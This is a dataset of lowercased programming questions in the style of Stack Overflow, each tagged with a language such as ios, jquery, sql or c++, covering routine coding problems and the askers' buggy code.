ios: taking low quality image  i want to take allow the user to take a picture and then show the greyscale version. however  it is very slow because the image file is too big/resolution is too high.    how can i reduce the quality of the image when the user takes the picture     heres the code i am using for the transformation:   <pre><code>    - (uiimage *)convertimagetograyscale:(uiimage *)image {     // create image rectangle with current image width/height     cgrect imagerect = cgrectmake(0  0  image.size.width  image.size.height);     // grayscale color space     cgcolorspaceref colorspace = cgcolorspacecreatedevicegray();     // create bitmap content with current image size and grayscale colorspace     cgcontextref context = cgbitmapcontextcreate(nil  image.size.width  image.size.height  8  0  colorspace  kcgimagealphanone);     // draw image into current context  with specified rectangle     // using previously defined context (with grayscale colorspace)     cgcontextdrawimage(context  imagerect  [image cgimage]);     /* changes start here */     // create bitmap image info from pixel data in current context     cgimageref grayimage = cgbitmapcontextcreateimage(context);     // release the colorspace and graphics context     cgcolorspacerelease(colorspace);     cgcontextrelease(context);     // make a new alpha-only graphics context     context = cgbitmapcontextcreate(nil  image.size.width  image.size.height  8  0  nil  kcgimagealphaonly);     // draw image into context with no colorspace     cgcontextdrawimage(context  imagerect  [image cgimage]);     // create alpha bitmap mask from current context     cgimageref mask = cgbitmapcontextcreateimage(context);     // release graphics context     cgcontextrelease(context);     // make uiimage from grayscale image with alpha mask     uiimage *grayscaleimage = [uiimage imagewithcgimage:cgimagecreatewithmask(grayimage  mask) scale:image.scale orientation:image.imageorientation];     // release the cg images     cgimagerelease(grayimage);     cgimagerelease(mask);     // return the new grayscale image     return grayscaleimage;     /* changes end here */ } </code></pre>,ios
please help me to understand jquery s new .on method  i used to use .live but i am now trying to replace those with the better .on but i don t seem to understand the api instructions because the code below does nothing and i should be getting an alert. can anyone see where i am messing this up    <pre><code>&lt;!doctype html&gt; &lt;html&gt;     &lt;head&gt;         &lt;title&gt;online media player&lt;/title&gt;         &lt;link rel= stylesheet  href= /assets/css/music-player.css  type= text/css  media= screen  charset= utf-8 &gt;          &lt;script src= /assets/js/jquery-1.8.3.js &gt;&lt;/script&gt;     &lt;/head&gt;      &lt;body&gt;         &lt;div class= main-center &gt;             &lt;h1&gt;please select your choice of music&lt;/h1&gt;             &lt;a class= openplayer  data-genre= rock  href= # &gt;rock&lt;/a&gt;             &lt;a class= openplayer   data-genre= hip  href= # &gt;hip hop&lt;/a&gt;             &lt;a class= openplayer   data-genre= country  href= # &gt;country&lt;/a&gt;             &lt;a class= openplayer   data-genre= featured  href= # &gt;featured artist&lt;/a&gt;         &lt;/div&gt; &lt;!-- /.main-center --&gt;          &lt;script type= text/javascript &gt;             (function($) {                 $( .openplayer ).on( click    a   function(e){                     var genre = $(this).data( genre );                     e.preventdefault();                     alert(genre);                 });             })(jquery);         &lt;/script&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>,jquery
returning just  value  of object  not the key   so i have an object (edit: originally called it a  hash ) like   <pre><code>newhash =  {item1:  spam   item2:  everything  } </code></pre>   and i want to return just  spam  and  everything .    it seems it doesn t work to write a for loop like this:    <pre><code>for (var x in newhash) {return newhash[x].value} </code></pre>   thanks!    edit : replaced the word  hash  in question with  object  as per popular convention.,javascript
copy directories with copyitematpath   i am trying to copy the directory  data_001  (and its contents) into the directory  cryo . i was under the impression that i could do this using copyitematpath like i would for a file  is this the wrong way to be doing this    <pre><code>nsstring *sourcedir = @ /users/fuzzygoat/documents/data_001 ; nsstring *destdir   = @ /users/fuzzygoat/documents/cryo ; nsstring *sourcefile = @ /users/fuzzygoat/documents/data_001/caroline.png ; nsstring *destfile   = @ /users/fuzzygoat/documents/cryo/cjg.png ;  // copy dir success = [filemanager copyitematpath:sourcedir topath:destdir error:&amp;derror]; if(success != yes) nslog(@ error );  // copy file success = [filemanager copyitematpath:sourcefile topath:destfile error:&amp;ferror]; if(success != yes) nslog(@ error ); </code></pre>   gary,objective-c
jquery - pausing and resuming a looping animation too quickly causes the queue to go haywire  i have the following code that animates forever  pauses at the end of the current animation on mouse enter  and resumes on mouse leave. it works how i want it to except for one issue.    if i hover in and out of the element too quickly (e.g. by cutting across the corner) it causes some kind of queue build up and everything goes haywire. however when i actually check the queue there s nothing strange in it and the animations are obviously not even running in the queued order.    using the following code waggle your mouse in and out of the grey area. when you eventually allow the animations to resume they will go haywire (also available at <a href= http://jsfiddle.net/54ytx/  rel= nofollow >http://jsfiddle.net/54ytx/</a>).   <pre><code>$( body ).html( &lt;div style= background: lightgrey; &gt;testing&lt;/div&gt; );  function do_animations() {     // always 0 or 1     console.log($( div ).queue( fx ).length);      $( div )         .delay(1000)         // hardcoded numbers mean that resuming from the bottom position takes longer but it doesn t matter in this simple example         .animate({ padding-top :  100px }  1000)         .animate({ padding-top :  0px }  1000)         // queue instead of callback so that clearqueue() can stop the loop reliably         .queue(function() {             do_animations();             $( div ).dequeue();         }); }; do_animations();  $( div ).hover(function() {     // don t use stop(). we want the current animation to finish     $( div ).clearqueue(); }  function() {     do_animations(); });​ </code></pre>,jquery
difference between a primary key attribute and other attributes in a table  what is the difference between a primary key and an attribute which is declared as <strong>unique</strong> and <strong>not null</strong> in the same table in a database,sql
asp.net connection refused  i have a asp.net c# website  the website working on my friends pc (i made it there)  but on my pc i get this error :     no connection could be made because the target machine actively refused it 127.0.0.1:50160    i tried to disable the firewall but it didn t help. i think that the problem can be fixed from the web.config file  but i don t know how to fix it. any help,asp.net
sha256 asp to asp.net problem  i am trying to post a webrequest to another site. that other site is in asp. i am sending one of the querstings value in sha256 ecnrypted format by following function.    the other website is checking the value in asp format. these values don t match.    this is my .net 4.0 function for sha256 conversion. i am passing input with value  60400doodle2699@yahoo.com2011082337d00f66cacaca5478ad9ae1e2a3d36d  for following function. which returns  aff83d621ae6fdcea7b191a64f470eb288bf7b996ea00a9d6fbe444a48ad9508     but the asp site expects value  e3ecd14c92a6ce3ed864e7e8feb9167c3d03142fccdd3bf6a2cd62385c122977  for this same string  that s why my call is failing   <pre><code>  public string encryptsha256managed(string input )       {          unicodeencoding uencode = new unicodeencoding()   ;         byte[] bytclearstring = uencode.getbytes(input);               sha256managed sha = new sha256managed() ;         string strhex = string.empty;         byte[] hash  = sha.computehash(bytclearstring)  ;              string hex = bitconverter.tostring(hash);         hex = hex.replace( -     );         return hex;     } </code></pre>,.net
all element with same class is droppable at the time of one element is droppable using jquery  i am doing an application with drag and drop element.when one elemenet is grag and drop it to another element at the time i want to drop the drag element to all elements of same class of drop element using jquery.any body give any suggestion     my code   <pre><code>    &lt;!doctype html&gt;    &lt;html lang= en &gt;    &lt;head&gt;    &lt;meta charset= utf-8 &gt;    &lt;title&gt;jquery ui droppable - default functionality&lt;/title&gt;    &lt;script src= //code.jquery.com/jquery-1.10.2.js &gt;&lt;/script&gt;    &lt;script src= //code.jquery.com/ui/1.11.2/jquery-ui.js &gt;&lt;/script&gt;    &lt;link rel= stylesheet  href= //code.jquery.com/ui/1   .11.2/themes/smoothness/jquery-ui.css &gt;   &lt;link rel= stylesheet  href= /resources/demos/style.css &gt;   &lt;style&gt;   #draggable { width: 100px; height: 100px; padding: 0.5em; float:    left; margin: 10px   10px 10px 0; }    .droppable { width: 150px; height:     150px; padding: 0.5em; float: left; margin: 10px;     }     &lt;/style&gt;     &lt;script&gt;     $(function() {     $(  #draggable  ).draggable();     $(  .droppable  ).droppable({     drop: function() {      }     });    });    &lt;/script&gt;   &lt;/head&gt;   &lt;body&gt;    &lt;div id= draggable  class= ui-widget-content &gt;    &lt;p&gt;drag me to my target&lt;/p&gt;   &lt;/div&gt;   &lt;div class= droppable  &gt;   &lt;p&gt;drop here&lt;/p&gt;   &lt;/div&gt;   &lt;div class= droppable  &gt;   &lt;p&gt;drop here&lt;/p&gt;   &lt;/div&gt;      &lt;div class= droppable  &gt;  &lt;p&gt;drop here&lt;/p&gt;      &lt;/div&gt;   &lt;/body&gt;   &lt;/html&gt; </code></pre>,jquery
iphone application development home button  im new to iphone development.can somebody please tell me how can i putt home button to each view of my application. pressing home button user will be provided home screen.    thanks,iphone
how do i subtract two dates   i have a date stored in a database as a string. it looks like this:  tue aug 23 2016 00:00:00 gmt-0500 (cdt)    i basically want to tell if today s date is before or after the date in the database.    the code below should sort of explain what i want. the problem is that after the difference variable doesn t return a number variable  which is what i need.   <pre><code>var expire = value.vaccines; var today = new date(); var difference = today-expire;  if(difference &lt;= 0){     $(element).css({ color :  #0040ff }); } </code></pre>   any ideas on how to subtract these two dates and get a number value,javascript
i am having trouble comparing two lists. the purpose of the program is to perform offline patch installation  the problem comes in the looping.  it seems to perform the comparison between the wmi qfe list and the kb list.  the issue i run into is taking and searching the contents of the .msu file name list for the kb and then installing it.  i have made a similar program in python and was mimicking a similar construct in the c# code.  any guidance on how to make this function properly would be greatly appreciated.  the code is as follows:   <pre><code>static void server08r2patches()     {     var ie9 = from a in iava.worksheet&lt;ie9&gt;( ie9 ) select a;     var server08r2 = from a in iava.worksheet&lt;server08r2&gt;( server08r2 ) select a;     var kblist = server08r2.select(s=&gt;new {kb = s.kb}).tolist();     var exelist = server08r2.select(s=&gt;new {executable = s.executable}).tolist();     string path = (path.getdirectoryname(assembly.getentryassembly().location)+@ \x64\ );     foreach (var item in kblist)     {     if (ospatches.contains(item.kb))     {                 console.writeline(item.kb+  is already installed. );             }             else             {                 console.writeline(item.kb+  will now be installed. );                 foreach (var inst in exelist)                 {                     do                         {                             var kb_inst = new processstartinfo()                             {                                 createnowindow = true                                  useshellexecute = true                                  filename =path+inst.executable                                  windowstyle = processwindowstyle.hidden                                  arguments = (@  /quiet /norestart )                              };                             try                             {                                 process update = new process();                                 update.startinfo = kb_inst;                                 update.start();                                 update.waitforexit();                                 console.writeline(inst.executable+  was successfully installed );                             }                             catch (exception ex)                             {                                 console.writeline(ex.message+   +inst.executable);                             }                         }                     while (inst.executable.contains(item.kb) == true);                 }             }         }     } </code></pre>,c#
why does a null pointer to a non virtual class works  (see included code)  they both compile.    i do not understand why the method works even though the pointer is set to null. ...and then  the virtual one does not. (it crashes at run-time)    the code:   <pre><code>#include  stdafx.h   class person { public:     void printhello() {      printf( hello \n\n );      }      ~person() {} };  class student { public:     virtual void printhello() {     printf( hello );     }      virtual ~student() {     } };   int main() {  person* p = null;     p-&gt;printhello();      student* s = null;     s-&gt;printhello();      return 0; } </code></pre>   ... thanks a lot.,c++
how can i scan a string for only four specific characters   i want the user to input a dna sequence  if it doesn t have the letters a  c  t  or g then it should print out an error. but how can i scan the string entered for those specific characters in the constructot method dnasequence     heres what i have so far.   <pre><code>import java.util.*; public class dnasequence {      private string dnasequence;//create a private static variable that can be accessed      public static void main(string[] args){          scanner input = new scanner(system.in);          system.out.println( please input a sequence of dna:  );         string dnainput = input.nextline();      }       public dnasequence(string dnastrand){//constructor method that takes parameter a string and checks to see if its only a  t  c  g.          dnasequence = dnastrand;          // invoke the countletters method to count each letter         int[] counts = countletters(dnastrand.touppercase());          // display results         for (int i = 0; i &lt; counts.length; i++) {           if (counts[i] != 0)             system.out.println((char)( a  + i) +   appears    +               counts[i] + ((counts[i] == 1)     time  :   times ));         }       }        /** count each letter in the string */       public static int[] countletters(string s) {         int[] counts = new int[26];          for (int i = 0; i &lt; s.length(); i++) {           if (character.isletter(s.charat(i)))             counts[s.charat(i) -  a ]++;         }          return counts;       }        public string tostring(){//method that just returns the stored sequence         return dnasequence;      }      private static char nucleotidebasecount(char basecount){//method to count bases      }      private static boolean issubsequenceof(string dnastrand){      }     } </code></pre>,java
implementation of command line arg passing in python  doesn t work  i m very new to python. i wish i could implement the command-line arg passing in python as my first python script. i have written this code:   <pre><code>def main(argv):     try:         opts  args = getopt.getopt(argv   hb:b:f   [ help    bucket=    folder ])     except getopt.getopterror:         usage()         sys.exit(2)     s3 = get_files()     for opt  arg in opts:         if opt in ( -h    --help ):             usage()             sys.exit()         elif opt in ( -b    --bucket ):             s3.bucketname = arg         elif opt in ( -f    --folder ):             s3.foldername = arg             print( came here  + s3.foldername)     s3.download_files() </code></pre>   in the <code>-f</code> argument from command is where i m facing the problem. for debugging i used the <code>print</code> statement. i pass the arguments like this:   <pre><code>./hello -b something -f /path </code></pre>   but sadly it prints out:   <pre><code>came here </code></pre>   but the <code>foldername</code> attribute is not getting assigned any value. where i m making the mistake     thanks in advance.,python
find items with matching string from a list  i have a java class:   <pre><code>class globalusers {     string name =       string id =       ................    ................ } </code></pre>   now in another function:   <pre><code>list&lt;globalusers&gt; guobjs = new list&lt;globalusers&gt;(); </code></pre>   here i have few hundreds of objects of globalusers in a list.    i want to find all objects of globalusers where string <code>name ==  user_custom </code>    so basically the result will be another list:   <pre><code>list&lt;globalusers&gt; guobjs = *name ==  user_custom * </code></pre>   how can i do this the easiest way,java
how to download a file without interruption  iam developing one application.in that i need to download one file.but that file was very large(1 mb).that was not a memory issue.but at the middle of the downloading process download was suddenly stopped.and that one was not started.so please tell me how to download the file without any interruption.and tell me how to start again after stop the downloading.,iphone
how can i sort arrays of various sizes in java  like 10  20  50  100  1000 elements   i need to sort arrays of varying sizes. these sizes are: 10 elements  50 elements  100 elements  500 elements  and 1000 elements. for each of these array sizes  i should use one array that is already sorted  another array that is partially sorted  and one that is random. i should use three sorts  like quicksort  insertion  or bubblesort. i have been working this for 2 weeks but can not seem to create an call the arrays.,java
vertically centering font in segmented controller  for some reason  the font in my segmented control is not vertically centered. is there a way to move the font up to be centered vertically     <img src= https://i.imgur.com/u6ift.png  alt= screenshot >    the only settings i m putting on them are below (except for declaring the active/inactive/divider images):   <pre><code>nsdictionary *normalsegmentedcontrolattributes = [nsdictionary dictionarywithobjectsandkeys:                                   [uicolor blackcolor]  uitextattributetextcolor                                    [uicolor clearcolor]  uitextattributetextshadowcolor                                    [nsvalue valuewithuioffset:uioffsetmake(0  1)]  uitextattributetextshadowoffset                                    [uifont fontwithname:kfont size:ksegconfontsize]  uitextattributefont                                    nil]; [[uisegmentedcontrol appearance] settitletextattributes:normalsegmentedcontrolattributes forstate:uicontrolstatenormal];  nsdictionary *selectedsegmentedcontrolattributes = [nsdictionary dictionarywithobjectsandkeys:                                     [uicolor whitecolor]  uitextattributetextcolor                                      [uicolor clearcolor]  uitextattributetextshadowcolor                                      [nsvalue valuewithuioffset:uioffsetmake(0  1)]  uitextattributetextshadowoffset                                      [uifont fontwithname:kfont size:ksegconfontsize]  uitextattributefont                                      nil]; [[uisegmentedcontrol appearance] settitletextattributes:selectedsegmentedcontrolattributes forstate:uicontrolstateselected]; </code></pre>,ios
in what circumstances do i need my own initializes to initialize object   i know objective c has built in  init  method to initialize object. but  i want to know in what circumstances do i need my own initializes to initialize object  i want to know what value is assigned to self when  i  invoke   self = [super init],objective-c
starting in xx days/hours and xx minutes with php  i found lots of solutions for showing a timestamp to xx days  xx hours and minutes <strong>ago</strong> but not really anything in future looking.    i would like to output:   <pre><code>starting in 2 days  5 hours and 22 minutes </code></pre>   from this unix timestamp: 1331596800   <pre><code>    $timestamp = new datetime();     $timestamp-&gt;settimestamp(1331596800);     $diff = $timestamp-&gt;diff(new datetime());      return $diff-&gt;format( %h hours  %i minutes ); </code></pre>   is something clean and easy i found  but it does not show me the correct hours / minutes.    how can i do this,php
recursion on linked list  i m trying to create a recursive linked list. at the moment i simply provide the class with two methods  one for tail insertion and a print. i don t understand why it doesn t print anything. i think the main problem is on recinsert(node key) method who interprets the head node always as null. what i m doing wrong     i want to print the sequence <code>8-&gt;7-&gt;12-&gt;22</code>    here s my code:   <pre><code> template&lt;class h&gt;class nodelist{         private:             nodelist&lt;h&gt; *prev *next;             h* key;          public:             nodelist(nodelist&lt;h&gt; *next h *key){             this-&gt;next = next;             this-&gt;key = new h(*key);         }              nodelist&lt;h&gt; *getprev(){return prev;}             nodelist&lt;h&gt; *getnext(){return next;}              void setprev(nodelist&lt;h&gt; *prev){this-&gt;prev = prev;}             void setnext(nodelist&lt;h&gt; *next){this-&gt;next = next;}              void setkey(h *key){this-&gt;key = new h(*key);}             h *getkey(){return key;}         };      template&lt;class h&gt;class list{         private:             nodelist&lt;h&gt; *head;          public:             list(){                 head = null;             }          nodelist&lt;h&gt;* instail(nodelist&lt;h&gt; *nod h *key){             if(nod == null){                  nod = new nodelist&lt;h&gt;(nod key);             }             else{                 nod-&gt;setnext(instail(nod-&gt;getnext() key));             }                 return nod;         }          list&lt;h&gt; *ins(h key){             instail(head &amp;key);             return this;         }          void recprint(nodelist&lt;h&gt; *head){             if(head == null){                 return;             }             else{                 cout&lt;&lt;*head-&gt;getkey();                 recprint(head-&gt;getnext());             }         }          void print(){             recprint(head);             cout&lt;&lt;endl;     }         };   int main(){         list&lt;int&gt; *l = new list&lt;int&gt;();         l-&gt;ins(8)-&gt;ins(7)-&gt;ins(12)-&gt;ins(22);         l-&gt;print(); </code></pre>  <h2>        }</h2>   i ve resolved adding a control on head node on instail() method   <pre><code>nodelist&lt;h&gt;* instail(nodelist&lt;h&gt; *nod h *key){         if(head == null)             head = new nodelist&lt;h&gt;(null key);         if(nod == null){              return new nodelist&lt;h&gt;(null key);         }         else{             nod-&gt;setnext(instail(nod-&gt;getnext() key));             return nod;         }     } </code></pre>,c++
how to separate the segments in segment control   i want to separate the segments in segment control with one line means they appear as a buttons. and give the shadow color for that segments. please give me any suggetions.,iphone
should i put my entire javasscript script inside a self invoking function   i once read that it s good practice to enclose your whole script inside a self invoking function instead of just directly writing it to the document.    eg. do this:   <pre><code>(function () {   //code here  })(): </code></pre>   although when i do this  it s more difficult to debug because all variables are outside of scope  and also i can t create objects from external classes. i remember the source saying that this should be done as a security measure. is this good practice  if so  why,javascript
how can i pin a div to always appear at the bottom of a page  no matter the content length   i m trying to keep my footer down no matter the size of the page. but it gets thrown about when about div encroaches. i want it to display over the about content but for the about content to be scrollable it s too big to display. here s the code    <a href= https://jsfiddle.net/wildtypitch/e3mom7fz/  rel= nofollow noreferrer >fiddle</a>   <pre><code>.footer { background-color:#fff; width: 100%; border-top: 1px solid #ccc; padding-top: 1em; height: 140px;  display: block;  .about { font-family: hindmedium; font-size: 13px; min-width: 800px; text-align: left; width:100%; min-height: 100%; margin-bottom: -140px;      } </code></pre>,css
broken link call method   i m having trouble again with objective-c    i m trying to call a method but xcode seems not to know it..    the problem comes from :    <pre><code>nsmutablearray *examstoexport; nsmutablearray *examstoexport2; </code></pre>   there is the code extracted from the .h:   <pre><code>- (void)examsaving:(nsmutablearray**)examstoexport withexport2:(nsmutablearray**)examstoexport2; </code></pre>   now from the .m:   <pre><code>[self examsaving:&amp;examstoexport: &amp;examstoexport2]; </code></pre>   after on  inside this method i m working with 2 nsmutablearrays that s why  i declared them as nsmarray** (so i don t have to return them right  ) but  xcode won t let me do so     <pre><code>    while (i &lt; [&amp;examstoexport count] - 1) </code></pre>   xcode:   <pre><code>receiver type  nsmutablearray** is not  id  or interface pointer  consider casting it to  id  </code></pre>   could you help me on this,objective-c
string case sensitivity <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/631233/is-there-a-c-case-insensitive-equals-operator >is there a c# case insensitive equals operator </a>    </blockquote>   string string1 =  abc     string string2 =  abc     how can i check if string1 is equal to string2 and have it return true  regardless of case sensitivity.,c#
php not creating file using fopen()  it is always giving the message as  not created . i have checked the permissions and its 777. what to do  it is running perfectly in command line mode.    this is the code:    <pre><code>&lt; php  $msg =  i m a line that is a message.\n ; $path = $_server[ document_root ] .  /myawesome_logfile.txt ; echo $path; chmod($path  0777);  $f = fopen($path   a+ );       //opening or creating the file if($f) echo  file created ;  else echo  not created ;  fwrite($f  $msg);              //writing the file fclose($f);  &gt; </code></pre>,php
how to auto compute my total grades to gen_ave   this is my table   <pre><code>create table `grades_q1` ( `date_modified` timestamp not null default current_timestamp  `lrn` bigint(12) not null default  0   `last_name` varchar(50) not null  `first_name` varchar(50) not null  `level` varchar(3) not null  `mother_tongue` varchar(50) null default null  `filipino` varchar(50) null default null  `english` varchar(50) null default null  `science` varchar(50) null default null  `math` varchar(50) null default null  `ap` varchar(50) null default null  `mapeh` varchar(50) null default null  `music` varchar(50) null default null  `arts` varchar(50) null default null  `pe` varchar(50) null default null  `health` varchar(50) null default null  `esp` varchar(50) null default null  `computer` varchar(50) null default null  `tle` varchar(50) null default null  `cat` varchar(50) null default null  `epp` varchar(50) null default null  `gen_ave` varchar(50) null default null  primary key (`lrn`) )collate= latin1_swedish_ci  engine=innodb; </code></pre>   this is my query   <pre><code>update grades_q1 set gen_ave = (select sum(coalesce(mother_tongue 0))       + coalesce(filipino 0)       + coalesce(english 0)       + coalesce(science 0)       + coalesce(math 0)       + coalesce(ap 0)       + coalesce(mapeh 0)       + coalesce(esp 0)       + coalesce(computer 0)       + coalesce(tle 0)       + coalesce(cat 0)       + coalesce(epp 0)       / (12 - (select sum(case when english is null then 1 else 0 end       + case when math is null then 1 else 0 end       + case when esp is null then 1 else 0 end       + case when mother_tongue is null then 1 else 0 end       + case when computer is null then 1 else 0 end       + case when mapeh is null then 1 else 0 end       + case when science is null then 1 else 0 end       + case when ap is null then 1 else 0 end       + case when epp is null then 1 else 0 end       + case when tle is null then 1 else 0 end       + case when cat is null then 1 else 0 end       + case when ap is null then 1 else 0 end)           as grandtotals))) </code></pre>   when i run query  i want to compute (total sum of grades)/(16-number of null columns) and set it to gen_ave or general average.    for example  (i want it like this)    <code>math science ap   epp   tle   gen_ave 99    89     90    99    87     92.8 </code>(computed as sum of grades / number of non null columns.    my problem  it gives me strange result to my gen_ave but no errors (yey!).  please help. thanks.,mysql
how can i use awesome_nested_set or another nested set gem to indicate synonyms   i have a tagging system using awesome_nested_set  which works great and lays out a nice hierarchy in the tags such that  customer relationship management  is under  enterprise resource planning.     i d like to include synonyms such that if someone adds the tag  crm   i can recognize that  crm  just means  customer relationship management  and actually display the tag  customer relationship management.     i would of thought that i can somehow mark a tag  crm  as a synonym and any references to this tag will be redirected in  customer relationship management     is it possible to do this with awesome_nested_set  or is there another gem or method     my only current thought is that i could make a flag for each item and then build a whole bunch of logic such that when i try to fetch a tag which is marked synonym  it instead returns the parent. then i just have to mark  crm  as a child of  customer relationship management  and set as a synonym. but that seems incredibly inelegant.    thanks!,ruby-on-rails
foward declaration in c++  i defined two header files.    global.h   <pre><code>#ifndef global_h #define global_h  #include &lt;queue&gt; #include &lt;string&gt; //#include  token.h   class token;  typedef std::string tokenvalue;  enum tokentype{//...};  inline void clear(std::queue&lt;token&gt; tokens) {     std::queue&lt;token&gt; empty;      std::swap(tokens  empty); }  #endif // global_h </code></pre>   and token.h   <pre><code>#ifndef token_h #define token_h  #include  global.h   class token { public:     token (tokentype token_type  tokenvalue token_value)     {         token_type_ = token_type;         token_value_ = token_value;     }      ~token (){}  //...  private:     tokentype token_type_;     tokenvalue token_value_; }; </code></pre>   i use foward declaration in global.h  but i don t use the reference or pointer of class token. i use <code>std::queue&lt;token&gt; empty;</code> in global.h. i think this statement must need the size of token. i can t figure out why it can compiles success. it s the problem of <code>queue</code>,c++
how to collocate div elements   how can i list divs like this:    <a href= http://i.stack.imgur.com/ktjcl.gif  rel= nofollow >click please</a>    i have tried float:left; but failed.,html
iphone app background image stretched in 3.5 simulator  i am creating an app with a single view. the app has a background image. in my code i use:   <pre><code>#define deviceisiphone5 ([uiscreen mainscreen].applicationframe.size.height == 568   yes : no) </code></pre>   then in my <code>viewdidload</code>:   <pre><code>if (deviceisiphone5) {     backgroundimage.image = [uiimage imagenamed:@ background-568h.png ]; } else {     backgroundimage.image = [uiimage imagenamed:@ background.png ]; } </code></pre>   <code>background.png</code> is 640x960    <code>background-658h.png</code> is 640x1136    works fine with 4  simulator but when i use 3.5  simulator the bottom of the picture is cut out  as if it is being stretched...    am i doing anything wrong,ios
removing all options of select box except 1st option  i m trying to empty select options when:    id  mclick  is selected  id s  sclick    cclick  and  srclick  will be emptied.    id  sclick  is selected  id s  cclick  and  srclick  will be emptied.    id  cclick  is selected  id  srclick  will be emptied.   <pre><code>&lt;form action= javascript:void(0);  method= post  id= lform &gt; &lt;table&gt;     &lt;tr&gt;         &lt;td&gt;             &lt;select name= module  id= mclick &gt;                 &lt;option value=  &gt;select mod&lt;/option&gt;                 &lt;option value= 1 &gt;mod 1&lt;/option&gt;                 &lt;option value= 2 &gt;mod 2&lt;/option&gt;                 &lt;option value= 3 &gt;mod 3&lt;/option&gt;             &lt;/select&gt;         &lt;/td&gt;         &lt;td&gt;             &lt;select name= state  id= sclick &gt;                 &lt;option value=  &gt;select state&lt;/option&gt;                 &lt;option value= 1 &gt;state 1&lt;/option&gt;                 &lt;option value= 2 &gt;state 2&lt;/option&gt;             &lt;/select&gt;         &lt;/td&gt;         &lt;td&gt;             &lt;select name= city  id= cclick &gt;                 &lt;option value=  &gt;select city&lt;/option&gt;                 &lt;option value= 1 &gt;city 1&lt;/option&gt;                 &lt;option value= 2 &gt;city 2&lt;/option&gt;             &lt;/select&gt;         &lt;/td&gt;         &lt;td&gt;             &lt;select name= services  id= srclick &gt;                 &lt;option value=  &gt;select services&lt;/option&gt;                 &lt;option value= 1 &gt;services 1&lt;/option&gt;                 &lt;option value= 2 &gt;services 2&lt;/option&gt;             &lt;/select&gt;         &lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; </code></pre>   in scenario 3  i used this function  but it deleted all  except the last select. any idea s what i m missing  thanks   <pre><code>$( #lform select[id!= mclick ] select[id!= sclick ] select[id!= cclick ] option[value!=  ] ).remove().end(); </code></pre>,jquery
strcat initialized value  i have code like this:   <pre><code>char *all_arguments = (char *) malloc(sizeof(char)*argc);  for(int i=1; i&lt;argc; i++) {     strcat(all_arguments  argv[i]); } </code></pre>   valgrind output:   <pre><code>==20425== conditional jump or move depends on uninitialised value(s) ==20425==    at 0x4c30c0a: strcat (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20425==    by 0x40065b: main (main.c:15) </code></pre>   what is wrong  i know that i should initialize all_arguments  but when i do  all_arguments = null;  i got a segmentation fault.,c
getting the maximum of price increase  i m having problems figuring out this i need to find the item(s) having the greatest percentage of price increase. this is my code :   <pre><code>    select   q.grocery_item    to_char(q.price_in_2000   $90.00 ) price_in_2000    to_char(q.estimated_price_in_2025   $90.00 ) price_in_2025    to_char(w.my_output  9 990 ) ||  %  as my_output from   grocery_prices q    (select      grocery_item       (((estimated_price_in_2025-price_in_2000)/price_in_2000)*100) as my_output    from      grocery_prices   ) w where   q.grocery_item = w.grocery_item  and w.my_output in (select max(w.my_output) from grocery_prices group by grocery_item) group by  w.my_output  q.grocery_item   q.price_in_2000  q.estimated_price_in_2025 </code></pre>   my output is :   <pre><code>    grocery_item                   price_in_2000 price_in_2025 my_output ------------------------------ ------------- ------------- --------- b_001                            $0.80         $2.64          230%    b_002                            $2.72         $7.36          171%    m_004                            $2.70         $5.65          109%    t_006                            $5.70         $6.65           17%    r_003                            $4.00        $13.20          230%    e_001                            $0.62         $1.78          187%      6 rows selected  </code></pre>   which is  basically all the data in my table    what i need to get is :   <pre><code>grocery_item                   price_in_2000 price_in_2025 my_output ------------------------------ ------------- ------------- --------- b_001                            $0.80         $2.64          230%    r_003                            $4.00        $13.20          230%    </code></pre>   sorry new here  don t know how to format my question :(    thanks in advance.,sql
how to develop iphone applications on windows platform(xp  vista)  hi folks can any one please let me know   how to develop iphone applications on windows platform(xp  vista).if so i have windows system with xp os  how to install  the software   what is the software name and  please let me know the blogs and free downloads for trail versions    thank in advance jagadeesh,iphone
calculate difference of columns of two tables  i am a newbie in mysql and php and not so experienced yet in making complicated queries.  thanks of some users on stackoverflow below query is now successfully working.  the last bit i am missing now is to include calculating the difference between total from q1 and costs from q2 in this query. thanks for your help in advance. cheers   <pre><code>select * from ( select invoice.eventid  invoice.invoiceno  event.clientid  client.clientid  clientname   gross_amount  vat  total  due  from client  invoice  event  where event.eventid = invoice.eventid  and event.clientid = client.clientid)  as q1  inner join (select event_ma.eventid   salary.staffid  sum(cost_hour * time_to_sec(timediff(hours  pause))) / 3600 as costs  from salary  join event_ma on salary.staffid = event_ma.staffid group by event_ma.eventid)  as q2   on q1.eventid = q2.eventid   group by q1.eventid </code></pre>,mysql
const char... changed   this is a portion of my simple program   <pre><code>string appdata = getenv( appdata ); const char *mypath= (appdata+ \\myapplication\\hello.txt ).c_str();       cout &lt;&lt; mypath;   // output: c:\users\xrobot\appdata\roaming\myapplication\hello.txt    fstream file(mypath ios::in); ofstream filetemp;     filetemp.open( world.bak ); cout &lt;&lt; mypath;   // output: é↕7 </code></pre>   why is mypath changed in that weird string,c++
calculate percentage in sql  i m trying to create table (columns) using another table(s)  having trouble in the getting the desired columns. please guide.    table names: transactions  customer  prod_cat_info   <pre><code>select distinct t.cust_id                   c.gender                   c.city_code                   datediff(mm  c.dob  getdate())             as age_in_months                   (select count(transaction_id)                   from   transactions                   group  by tran_date)                      as                  basket_count_per_day                   (select sum(total_amt)                   from   transactions)                      as tot_sal_amt                   (select sum(qty)                   from   transactions)                      as tot_sal_qnty                   (select count(distinct prod_cat)                   from   dbo.prod_cat_info)                 as unq_cat_cnt                   (select distinct prod_subcat                   from   dbo.prod_cat_info)                 as unq_scat_cnt                   (select distinct store_type                   from   dbo.transactions)                  as unq_chnl_cnt                   (select max(tran_date)                   from   dbo.transactions)                  as                  last_transaction_date                   (select avg(qty) / count(tran_date)                   from transactions)                        as                                                             avg_basket_qty                   (select avg(total_amt) / count(tran_date)                   from transactions)                                                                                                    as avg_basket_val  into   customer_360  from   dbo.customer as c         inner join dbo.transactions as t                 on t.cust_id = c.customer_id         inner join dbo.prod_cat_info as pci                 on pci.prod_cat_code = t.prod_cat_code    </code></pre>   error message:    <blockquote>    msg 8120  level 16  state 1  line 1<br>   column  dbo.transactions.cust_id  is invalid in the select list because it is not contained in either an aggregate function or the group by clause.  </blockquote>   <img src= https://i.stack.imgur.com/vg9l0.jpg  alt= my code >,sql
